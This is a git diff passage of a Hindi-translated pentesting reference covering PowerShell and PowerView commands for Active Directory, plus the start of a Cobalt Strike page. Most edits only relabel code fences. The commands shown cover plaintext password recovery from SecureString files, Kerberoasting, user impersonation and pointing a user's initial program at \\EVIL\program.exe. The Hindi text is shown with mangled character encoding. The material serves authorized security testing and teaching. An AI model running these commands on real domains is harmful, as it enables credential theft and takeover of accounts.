$cred.GetNetworkCredential() | Format-List * UserName : Tom @@ -261,7 +262,7 @@ SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO -```powershell +```bash #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) @@ -283,16 +284,21 @@ $mycreds = New-Object System.Management.Automation.PSCredential ("", $secp $computer = "" ``` ## рд╕рдореВрд╣ -```powershell +```bash Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб -```powershell +```bash Get-Clipboard ``` +рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: + +- [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) +- [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard) + ## рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ -```powershell +```bash Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## рд╕реЗрд╡рд╛рдПрдБ @@ -300,19 +306,19 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id Get-Service ``` ## рд╕реБрд░рдХреНрд╖рд┐рдд рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб -```powershell +```bash $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` ## рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдп -```powershell +```bash Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ## рдиреЗрдЯрд╡рд░реНрдХ ### рдкреЛрд░реНрдЯ рд╕реНрдХреИрди -```powershell +```bash # Check Port or Single IP Test-NetConnection -Port 80 10.10.10.10 @@ -327,12 +333,12 @@ Test-NetConnection -Port 80 10.10.10.10 ``` ### рдЗрдВрдЯрд░рдлреЗрд╕ -```powershell +```bash Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### рдлрд╝рд╛рдпрд░рд╡реЙрд▓ -```powershell +```bash Get-NetFirewallRule -Enabled True Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block @@ -348,28 +354,28 @@ New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 2 Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` ### рдорд╛рд░реНрдЧ -```powershell +```bash route print ``` ### ARP -```powershell +```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### рд╣реЛрд╕реНрдЯреНрд╕ -```powershell +```bash Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### рдкрд┐рдВрдЧ -```powershell +```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP -```powershell +```bash Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## **SDDL рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкрдардиреАрдп рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдирд╛** -```powershell +```bash PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" Owner : BUILTIN\Administrators diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index 2f08ba084..cb8ca679d 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -7,7 +7,7 @@ PowerView рдХрд╛ рд╕рдмрд╕реЗ рдЕрджреНрдпрддрди рд╕рдВрд╕реНрдХрд░рдг рд╣рдореЗ [**SharpView**](https://github.com/tevora-threat/SharpView) рдПрдХ .NET рдкреЛрд░реНрдЯ рд╣реИ [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) рдХрд╛ ### Quick enumeration -```powershell +```bash Get-NetDomain #Basic domain info #User info Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info @@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl ``` ### рдбреЛрдореЗрди рдЬрд╛рдирдХрд╛рд░реА -```powershell +```bash # Domain Info Get-Domain #Get info about the current domain Get-NetDomain #Get info about the current domain @@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D Get-ForestDomain ``` ### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рд╕рдореВрд╣, рдХрдВрдкреНрдпреВрдЯрд░ рдФрд░ OU -```powershell +```bash # Users ## Get usernames and their groups Get-DomainUser -Properties name, MemberOf | fl @@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case) ``` ### рд▓реЙрдЧрд┐рди рдФрд░ рд╕рддреНрд░ -```powershell +```bash Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target) Get-NetSession -ComputerName #Get active sessions on the host Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS)) @@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName #List RDP sessions inside a host (n ``` ### Group Policy Object - GPOs -рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ **GPO рдкрд░ рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реИрдВ, рддреЛ рд╡рд╣ **рдкреНрд░рд┐рд╡реЗрд╕реНрдХ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЬреЛрдбрд╝рдиреЗ**, **рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ рдПрдХ рд╣реЛрд╕реНрдЯ рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдпрд╛ **рдПрдХ рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдп** (рддрддреНрдХрд╛рд▓) рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ +рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ **GPO рдкрд░ рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реИрдВ, рддреЛ рд╡рд╣ **privesc** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЬреЛрдбрд╝рдиреЗ**, **рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ рдПрдХ рд╣реЛрд╕реНрдЯ рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдпрд╛ **рдПрдХ рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдп** (рддрддреНрдХрд╛рд▓) рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ [**рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ рдЗрд╕реЗ рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЗрд╕ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation). -```powershell +```bash #GPO Get-DomainGPO | select displayName #Check the names for info Get-NetGPO #Get all policies with details @@ -178,7 +178,7 @@ Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectNam {{#endref}} ### ACL -```powershell +```bash #Get ACLs of an object (permissions of other objects over the indicated one) Get-ObjectAcl -SamAccountName -ResolveGUIDs @@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights ``` ### рд╕рд╛рдЭрд╛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ -```powershell +```bash Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers Find-DomainShare -CheckShareAccess #Search readable shares Find-InterestingDomainShareFile #Find interesting files, can use filters ``` ### рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ -```powershell +```bash Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-DomainTrust #Same Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found @@ -222,7 +222,7 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest ``` ### L**ow**-**hanging fruit** -```powershell +```bash #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl @@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers" Invoke-UserHunter -Stealth ``` ### рд╣рдЯрд╛рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ -```powershell +```bash #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * @@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ### MISC #### SID рд╕реЗ рдирд╛рдо -```powershell +```bash "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` #### Kerberoast -```powershell +```bash Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` -#### рд╡рд┐рднрд┐рдиреНрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдЖрд░реНрдЧреБрдореЗрдВрдЯ) -```powershell +#### рд╡рд┐рднрд┐рдиреНрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (рдЖрд░реНрдЧреБрдореЗрдВрдЯ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ +```bash # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred ``` #### рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдВ -```powershell +```bash # if running in -sta mode, impersonate another credential a la "runas /netonly" $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) @@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred Invoke-RevertToSelf ``` #### рдорд╛рди рд╕реЗрдЯ рдХрд░реЗрдВ -```powershell +```bash # set the specified property for the given user identity Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose # Set the owner of 'dfm' in the current domain to 'harmj0y' diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index e8b7413e2..52c13537f 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -24,11 +24,11 @@ * **`HTMLApplication`** HTA рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП * **`MS Office Macro`** рдПрдХ рдСрдлрд┐рд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рд▓рд┐рдП рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдореИрдХреНрд░реЛ рд╣реИ * **`Windows Executable`** рдПрдХ .exe, .dll рдпрд╛ рд╕реЗрд╡рд╛ .exe рдХреЗ рд▓рд┐рдП -* **`Windows Executable (S)`** рдПрдХ 